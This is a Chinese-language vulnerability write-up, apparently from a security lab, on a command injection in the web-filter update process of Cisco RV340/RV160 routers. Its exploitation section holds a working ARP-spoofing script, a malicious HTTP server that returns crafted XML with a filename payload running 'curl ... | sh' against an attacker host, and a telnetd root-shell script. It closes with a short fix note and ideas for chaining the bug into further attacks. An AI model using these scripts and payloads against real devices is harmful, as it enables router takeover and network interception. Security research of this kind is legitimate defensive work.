作者:Rivaille@知道創宇404實驗室
日期:2022年8月29日
漏洞原理
這個漏洞是cisco RV340和cisco RV160系列中存在的一個命令注入漏洞,命令注入發生在wfapp中,漏洞原理如下。
wfapp運行后會檢查當前/tmp/webrootdb目錄下是否存在webfilter數據庫文件,如果存在,則不向服務器發送更新數據庫的請求,如果不存在,則會拉取更新。同時wfapp會創建守護進程,24小時會自動更新一次webfilter數據庫。wfapp的啟動過程寫入在/etc/init.d/webfilter這個中,是一個開機自啟的服務。
拉取數據庫文件更新的過程中,wfapp首先會向bcap15.brightcloud.com發起一個post請求,檢查是否有新的webfilter數據庫可從 brightcloud 中獲得:
POST / HTTP/1.1
Content-Type: text/html
Host: bcap15.brightcloud.com
Content-Length: 296
Connection: close
<?BrightCloud version=bcap/1.1?>
<bcap>
<seqnum>1</seqnum>
<encrypt-type>none</encrypt-type>
<request>
<method>getmd5update1mrep</method>
<uid>PSZ25281CDE</uid>
<productid>RV340-WB</productid>
<oemid>Cisco</oemid>
<md5currentmajor>0</md5currentmajor>
<md5currentminor>0</md5currentminor>
</request>
</bcap>
然后bcap15.brightcloud.com會返回一個http響應:
HTTP/1.1 200 OK
Content-Type: application/xml
Date: Fri, 01 Oct 2021 14:00:39 GMT
Server: Kestrel
Content-Length: 425
Connection: Close
<?BrightCloud version=bcap/1.1?>
<bcap>
<seqnum>1</seqnum>
<status>200</status>
<statusmsg>OK</statusmsg>
<response>
<status>200</status>
<statusmsg>OK</statusmsg>
<filename>full_bcdb_rep_1m_7.888.bin</filename>
<checksum>2381a9b7ea1ce3bd0c71c41891507233</checksum>
<updateMajorVersion>7</updateMajorVersion>
<updateMinorVersion>888</updateMinorVersion>
<targetchecksum>2381a9b7ea1ce3bd0c71c41891507233</targetchecksum>
</response>
</bcap>
當bcap15.brightcloud.com返回響應,表示有新的數據庫更新之后,wfapp會向database.brightcloud.com 這個服務發送請求,從database.brightcloud.com下載新的webfilter數據庫,檢查webfilter數據庫文件的格式通過之后,會進入后續的處理流程,命令注入就發生在wfapp處理數據庫文件名時,漏洞觸發點如下:
sprintf(s, "ls %s%s", "/mnt/webrootdb/", "full_bcdb_rep_1m*");
fd = popen(s, "r");
if ( fd )
{
if ( isstdout )
printf(" Checking for 1M URL DB file %s%s\r\n", "/mnt/webrootdb/", "full_bcdb_rep_1m*");
if ( issyslog )
syslog(6, " Checking for 1M URL DB file %s%s\r\n", "/mnt/webrootdb/", "full_bcdb_rep_1m*");
if ( fgets(filename, 64, fd) )
{
s[strlen(filename) - 65] = 0;
...
strcpy((char *)cmdinject, filename);
sprintf(
s,
"rm %s%s; cp %s %s; rm /tmp/%s",
"/mnt/webrootdb/",
"full_bcdb_rep_1m*",
(const char *)cmdinject,
"/mnt/webrootdb/",
"full_bcdb_rep_1m*"); // 命令注入
if ( isstdout )
printf(" saving the 1M URLDB file to webroot parition using the command:'%s'\r\n", s);
if ( issyslog )
syslog(6, " saving the 1M URLDB file to webroot parition using the command:'%s'\r\n", s);
if ( popen(s, "r") )
{
if ( isstdout )
printf(" Successfully saved the file to webroot partition '%s'\r\n", "/mnt/webrootdb/");
if ( issyslog )
syslog(6, " Successfully saved the file to webroot partition '%s'\r\n", "/mnt/webrootdb/");
}
要利用這個漏洞,需要做一次中間人攻擊,讓攻擊者的主機向路由器返回一個響應體,這個響應體的xml文件的filename標簽中可以嵌入惡意的shell命令,然后把反彈shell腳本部署在中間人的主機上。
這個漏洞具有一定局限性,只能24小時攻擊一次,或者等待設備重啟之后再攻擊。
漏洞利用
這里做中間人攻擊,有兩種利用方式,這兩種利用方式都有一定的局限性。
第一種是arp欺騙,把毒化整個局域網下所有主機的arp緩存,讓路由器的ip地址對應攻擊者主機的mac地址,這種情況下,路由器會認為攻擊者的主機是整個局域網的網關,bcap15.brightcloud.com服務器返回的響應會首先通過攻擊者的主機,設置ip_forword流量轉發和iptables規則,完成改包。
第二種是想辦法做DNS劫持,把bcap.brightcloud.com ,databse.brightcloud.com這兩域名和惡意的服務ip綁定,這樣所有發送給這兩個服務器的請求都可以被攻擊者截獲。
第一種利用方式,由于劫持了局域網下的所有入口流量,很容易導致整個局域網炸網,出現路由器重啟之后無法連接外網的情況,路由器無法連接外網,就無法向bcap.brightcloud.com服務器發送請求,給分析和復現帶來困難,這里給出arp欺騙攻擊的腳本,有興趣可以嘗試一下。
import os
from tabnanny import verbose
from numpy import broadcast
from scapy.all import *
import requests
gateway_ip = "192.168.1.1" # cisco ip address
fake_gateway_ip = "192.168.1.127" # ubuntu ip address
def arpspoof(gateway_ip,fake_gateway_mac):
packet = ARP(op=2,pdst="0.0.0.0",psrc=gateway_ip,hwsrc=fake_gateway_mac) # arp廣播
send(packet,verbose=False)
def exp():
#fake_gateway_mac = get_mac(fake_gateway_ip)
try:
sent_packets_count = 0
while True:
arpspoof(gateway_ip,"00:0c:29:9f:9f:4a")
#arpspoof(attack_ip,gateway_ip)
sent_packets_count += 1
print("[*] Packets Sent "+str(sent_packets_count))
os.system("arp -a|grep 192.168.1.1")
time.sleep(2)
except KeyboardInterrupt:
print("\nCtrl + C pressed.............Exiting")
print("[+] Arp Spoof Stopped")
exp()
arp包設置成廣播包,pdst和hwdst都置空,這樣可以完成對整個子網的欺騙,完成對bcap15.brightcloud.com響應的攔截。
第二種改DNS的方法,只能在登錄RV340的后臺之后才能使用,RV340的web管理界面提供了一個DNS local database的功能,可以設置域名解析,
由于RV340更新webfilter database需要重啟,而我們后臺所做的配置是running config,重啟之后配置的域名解析會失效,所以還需要把配置的信息設置成startup config。
需要兩臺攻擊機,一臺服務器上會響應惡意的xml文件,部署惡意的shell腳本,一臺服務器上放格式正確的Webfilter數據庫文件,在文件名和xml文件filename標簽里插入惡意的shell語句。
from wsgiref.util import request_uri
from simple_http_server import *
import simple_http_server.server as server
import requests
filename = "full_bcdb_rep_1m_8.334.bin"
payload = "full_bcdb_rep_1m_8.334`curl${IFS}192.168.1.127|sh`.bin"
# download reverse_shell.sh
@request_map('/',method=["POST"])
def index_ctroller_function():
xmldata = '''
<?xml version="1.0" encoding="UTF-8" ?>
<?BrightCloud version=bcap/1.1?>
<bcap>
<seqnum>1</seqnum>
<status>200</status>
<statusmsg>OK</statusmsg>
<response>
<status>200</status>
<statusmsg>OK</statusmsg>
<filename>%s</filename>
<checksum>896bb64c7dd8661535b5cbe55fe7c17e</checksum>
<updateMajorVersion>8</updateMajorVersion>
<updateMinorVersion>334</updateMinorVersion>
<targetchecksum>896bb64c7dd8661535b5cbe55fe7c17e</targetchecksum>
</response>
</bcap>
'''%payload
return xmldata
@request_map("/",method=['GET'])
def reverseshell_ctroller_function():
return StaticFile("./opentelnet")
def main(*args):
server.start(port=80)
if __name__ == "__main__":
main()
open telnet的腳本如下:
/usr/sbin/telnetd -l /bin/sh -p23333
開啟web服務:

另一臺服務器上,把命令寫入到數據庫文件的文件名中,然后開啟web服務:


telnet遠程登錄獲取rootshell:

漏洞修復
修復的方法,是本地保留cacert證書,不向不受信任的服務器發送請求。

后續思考
這個漏洞,看起來有些雞肋,利用起來處處掣肘,但是也有延長利用鏈的可能。
1.cisco有一個默認的guest用戶,這個用戶無法登錄Web后臺,但是可以生成guest sessionid,可以訪問后臺的一些服務。cisco之前有一些利用,是通過guest sessionid溢出或者命令注入的,但是打進去之后只能得到一個www-data的權限,那這個時候可以用這個漏洞來提權,該漏洞在3.27以下版本都可以使用,填補了client update和vpnTimer提權失效的空白。
2.利用這個guest sessionid,可以訪問DNS配置信息,但是無法修改DNS的配置信息,如果這個里面鑒權邏輯存在問題的話,那這個漏洞可以成為一個穩定利用的無條件rce(雖然arp欺騙也可以無條件rce,但是利用有難度,且動靜較大),后續可以嘗試從這個點去挖一挖。
參考
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1949/
暫無評論